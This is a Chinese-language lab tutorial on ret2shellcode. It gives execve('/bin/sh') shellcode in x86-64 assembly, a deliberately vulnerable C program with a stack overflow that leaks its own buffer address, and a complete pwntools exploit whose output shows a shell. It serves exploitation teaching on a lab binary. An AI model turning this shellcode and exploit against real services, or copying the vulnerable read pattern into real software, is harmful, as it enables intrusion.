code2Shell-编码技术#

要学习ret2shellcode，自然得先从shellcode开始学习。在学习shellcode之前，我们需要先了解一个十分重要的概念，Linux中的系统调用。

rax = 0x3b
rdi = "/bin/sh\x00"
rsi = 0
rdx = 0

mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp
xor rsi, rsi
xor rdx, rdx
push 0x3b
pop rax
syscall

实验详解#

由此，我们以一个实验来理解ret2shellcode的攻击手法。

Source

#include <stdio.h>  
#include <stdlib.h>  
#include <string.h>  
#include <unistd.h>  
  
int main()  
{
   setvbuf(stdout, 0, 2, 0); 
   setvbuf(stdin, 0, 1, 0);
   char buffer[0x20];
   printf("%p\n", &buffer);
   read(0, buffer, 0x1000);  
   return 0;  
}

用以下命令编译

gcc -fno-stack-protector -no-pie -z execstack -O0 Lab-s-2-1-2.c -o Lab-s-2-1-2

• -z execstack，开启栈可执行。

程序流程很简单，漏洞依然是我们经典的栈溢出，不过此题没有后门，怎么办呢？ret2shellcode，自己动手，丰衣足食。

首先我们关注到有一个特别的函数printf("%p\n", &buffer);，这个函数将buffer的地址打印了出来，相当于方便我们去寻址。因为在实际利用的过程中，我们是要要求知道shellcode写入的位置的，这样我们才能覆盖返回地址到shellcode的位置来劫持程序执行流。

利用的思路就很简单了，先接收泄露出来的buffer地址，由于我们的shellcode就是向buffer上面写的，现在还不清楚我们的shellcode到底是在哪个位置，我们先看看要利用的shellcode编码出来的长度。

我们可以用pwntools提供的shellcraft函数来便利地生成shellcode。此时建议显式地指定一下环境变量

context(os='linux', arch='amd64')

直接生成即可

shellcode = shellcraft.sh()

随后是关于shellcode的寻址问题。我们现在已知从起始覆盖到返回地址的长度为0x20 + 0x8，也就是说，下一个0x8就要填入返回地址，那么实际上，我们控制返回地址一共需要0x30的长度，后面的部分就是shellcode，我们只需要跳转到buffer+0x30的位置就可以了！

⚠️泄露的buffer地址就是读入数据的起始位置

实际上，我们有两种关于已知buf起始位置的寻址方式

• 当shellcode能够放入buf中时，我们将shellcode前置到返回地址之前，那么返回地址就只需要填入buf的地址即可
• 当shellcode不能放入buf中时，我们将shellcode后置到返回地址之后，那么返回地址就要填入buf加上实控至返回地址的长度

比如刚刚的情况，如果我们有一个长度小于0x20的shellcode，那么我们的payload就构建如下：

offset = buf + 0x8
payload = shellcode + cyclic(offset - len(shellcode)) + p64(buf_addr)

栈结构图如下

后置的情况

payload = cyclic(offset) + p64(buf + offset + 0x8) + shellcode

栈结构示意

那么完整的EXP如下

from pwn import *
io = process("./Lab-s-2-1-2")
context(arch='amd64',os='linux')
leakstack = io.recvuntil(b'\n', drop=True)
log.success('recvsuccess ==>'+ leakstack.decode())
stack=eval(leakstack.decode())
shellcode = asm(shellcraft.sh())
offset = 0x20 + 0x8
payload = cyclic(offset) + p64(stack+0x30) + shellcode
io.send(payload)
io.interactive()

⚠️此处就是后置的情况

RESULT

[+] Starting local process './Lab-s-2-1-2': pid 178590  
[+] recvsuccess ==>0x7ffdb4f57db0  
[*] Switching to interactive mode  
$ whoami  
K4per